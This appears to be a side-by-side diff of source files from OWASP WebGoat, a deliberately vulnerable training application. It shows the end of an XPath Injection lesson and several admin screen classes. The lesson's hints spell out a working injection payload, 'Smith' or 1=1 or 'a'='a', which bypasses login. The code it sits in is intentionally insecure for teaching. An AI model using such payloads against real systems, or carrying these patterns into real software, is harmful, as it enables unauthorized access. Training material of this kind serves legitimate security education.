return Category.INJECTION; return Category.INJECTION;
} }
protected boolean getDefaultHidden() protected boolean getDefaultHidden()
{ {
// TODO Auto-generated method stub // TODO Auto-generated method stub
return false; return false;
} }
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
// TODO Auto-generated method stub // TODO Auto-generated method stub
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add("Remember that the data is stored in XML format."); hints.add("Remember that the data is stored in XML format.");
hints.add("The system is using XPath to query."); hints.add("The system is using XPath to query.");
hints.add("XPath is almost the same thing as SQL, the same hacking techniques apply too."); hints.add("XPath is almost the same thing as SQL, the same hacking techniques apply too.");
hints.add("Try username: Smith' or 1=1 or 'a'='a and a password: anything "); hints.add("Try username: Smith' or 1=1 or 'a'='a and a password: anything ");
return hints; return hints;
} }
public String getTitle() public String getTitle()
{ {
return "XPATH Injection"; return "XPATH Injection";
} }
} }

View File

@ -39,66 +39,66 @@ import org.owasp.webgoat.session.WebSession;
public abstract class AdminScreen extends Screen public abstract class AdminScreen extends Screen
{ {
/** /**
* Description of the Field * Description of the Field
*/ */
protected String query = null; protected String query = null;
/** /**
* Constructor for the AdminScreen object * Constructor for the AdminScreen object
* *
* @param s * @param s
* Description of the Parameter * Description of the Parameter
* @param q * @param q
* Description of the Parameter * Description of the Parameter
*/ */
public AdminScreen(WebSession s, String q) public AdminScreen(WebSession s, String q)
{ {
setQuery(q); setQuery(q);
// setupAdmin(s); FIXME: what was this supposed to do? // setupAdmin(s); FIXME: what was this supposed to do?
} }
/** /**
* Constructor for the AdminScreen object * Constructor for the AdminScreen object
* *
* @param s * @param s
* Description of the Parameter * Description of the Parameter
*/ */
public AdminScreen(WebSession s) public AdminScreen(WebSession s)
{ {
} }
/** /**
* Constructor for the AdminScreen object * Constructor for the AdminScreen object
*/ */
public AdminScreen() public AdminScreen()
{ {
} }
/** /**
* Gets the title attribute of the AdminScreen object * Gets the title attribute of the AdminScreen object
* *
* @return The title value * @return The title value
*/ */
public String getTitle() public String getTitle()
{ {
return ("Admin Information"); return ("Admin Information");
} }
public String getRole() public String getRole()
{ {
return AbstractLesson.ADMIN_ROLE; return AbstractLesson.ADMIN_ROLE;
} }
/** /**
* Sets the query attribute of the AdminScreen object * Sets the query attribute of the AdminScreen object
* *
* @param q * @param q
* The new query value * The new query value
*/ */
public void setQuery(String q) public void setQuery(String q)
{ {
query = q; query = q;
} }
} }

View File

@ -46,76 +46,76 @@ import org.owasp.webgoat.session.WebSession;
public class ProductsAdminScreen extends LessonAdapter public class ProductsAdminScreen extends LessonAdapter
{ {
private final static String QUERY = "SELECT * FROM product_system_data"; private final static String QUERY = "SELECT * FROM product_system_data";
/** /**
* Description of the Method * Description of the Method
* *
* @param s * @param s
* Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
try try
{ {
Connection connection = DatabaseUtilities.getConnection(s); Connection connection = DatabaseUtilities.getConnection(s);
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY); ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(QUERY); ResultSet results = statement.executeQuery(QUERY);
if (results != null) if (results != null)
{ {
makeSuccess(s); makeSuccess(s);
ResultSetMetaData resultsMetaData = results.getMetaData(); ResultSetMetaData resultsMetaData = results.getMetaData();
ec.addElement(DatabaseUtilities.writeTable(results, resultsMetaData)); ec.addElement(DatabaseUtilities.writeTable(results, resultsMetaData));
} }
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} }
return (ec); return (ec);
} }
/** /**
* Gets the category attribute of the ProductsAdminScreen object * Gets the category attribute of the ProductsAdminScreen object
* *
* @return The category value * @return The category value
*/ */
protected Category getDefaultCategory() protected Category getDefaultCategory()
{ {
return Category.ADMIN_FUNCTIONS; return Category.ADMIN_FUNCTIONS;
} }
/** /**
* Gets the role attribute of the ProductsAdminScreen object * Gets the role attribute of the ProductsAdminScreen object
* *
* @return The role value * @return The role value
*/ */
public String getRole() public String getRole()
{ {
return HACKED_ADMIN_ROLE; return HACKED_ADMIN_ROLE;
} }
/** /**
* Gets the title attribute of the ProductsAdminScreen object * Gets the title attribute of the ProductsAdminScreen object
* *
* @return The title value * @return The title value
*/ */
public String getTitle() public String getTitle()
{ {
return ("Product Information"); return ("Product Information");
} }
private final static Integer DEFAULT_RANKING = new Integer(1000); private final static Integer DEFAULT_RANKING = new Integer(1000);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
} }

View File

@ -46,112 +46,112 @@ import org.owasp.webgoat.session.*;
public class RefreshDBScreen extends LessonAdapter public class RefreshDBScreen extends LessonAdapter
{ {
private final static String REFRESH = "Refresh"; private final static String REFRESH = "Refresh";
/** /**
* Description of the Method * Description of the Method
* *
* @param s * @param s
* Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
try try
{ {
boolean refresh = s.getParser().getBooleanParameter(REFRESH, false); boolean refresh = s.getParser().getBooleanParameter(REFRESH, false);
if (refresh) if (refresh)
{ {
refreshDB(s); refreshDB(s);
ec.addElement(new StringElement("Successfully refreshed the database.")); ec.addElement(new StringElement("Successfully refreshed the database."));
} }
else else
{ {
Element label = new StringElement("Refresh the database? "); Element label = new StringElement("Refresh the database? ");
A link1 = ECSFactory.makeLink("Yes", REFRESH, true); A link1 = ECSFactory.makeLink("Yes", REFRESH, true);
A link2 = ECSFactory.makeLink("No", REFRESH, false); A link2 = ECSFactory.makeLink("No", REFRESH, false);
TD td1 = new TD().addElement(label); TD td1 = new TD().addElement(label);
TD td2 = new TD().addElement(link1); TD td2 = new TD().addElement(link1);
TD td3 = new TD().addElement(link2); TD td3 = new TD().addElement(link2);
TR row = new TR().addElement(td1).addElement(td2).addElement(td3); TR row = new TR().addElement(td1).addElement(td2).addElement(td3);
Table t = new Table().setCellSpacing(40).setWidth("50%"); Table t = new Table().setCellSpacing(40).setWidth("50%");
if (s.isColor()) if (s.isColor())
{ {
t.setBorder(1); t.setBorder(1);
} }
t.addElement(row); t.addElement(row);
ec.addElement(t); ec.addElement(t);
} }
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} }
return (ec); return (ec);
} }
/** /**
* Gets the category attribute of the RefreshDBScreen object * Gets the category attribute of the RefreshDBScreen object
* *
* @return The category value * @return The category value
*/ */
protected Category getDefaultCategory() protected Category getDefaultCategory()
{ {
return Category.ADMIN_FUNCTIONS; return Category.ADMIN_FUNCTIONS;
} }
private final static Integer DEFAULT_RANKING = new Integer(1000); private final static Integer DEFAULT_RANKING = new Integer(1000);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the role attribute of the RefreshDBScreen object * Gets the role attribute of the RefreshDBScreen object
* *
* @return The role value * @return The role value
*/ */
public String getRole() public String getRole()
{ {
return ADMIN_ROLE; return ADMIN_ROLE;
} }
/** /**
* Gets the title attribute of the RefreshDBScreen object * Gets the title attribute of the RefreshDBScreen object
* *
* @return The title value * @return The title value
*/ */
public String getTitle() public String getTitle()
{ {
return ("Refresh Database"); return ("Refresh Database");
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param s * @param s
* Description of the Parameter * Description of the Parameter
*/ */
public void refreshDB(WebSession s) public void refreshDB(WebSession s)
{ {
try try
{ {
Connection connection = DatabaseUtilities.getConnection(s); Connection connection = DatabaseUtilities.getConnection(s);
CreateDB db = new CreateDB(); CreateDB db = new CreateDB();
db.makeDB(connection); db.makeDB(connection);
System.out.println("Successfully refreshed the database."); System.out.println("Successfully refreshed the database.");
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error refreshing database " + this.getClass().getName()); s.setMessage("Error refreshing database " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} }
} }
} }

Some files were not shown because too many files have changed in this diff Show More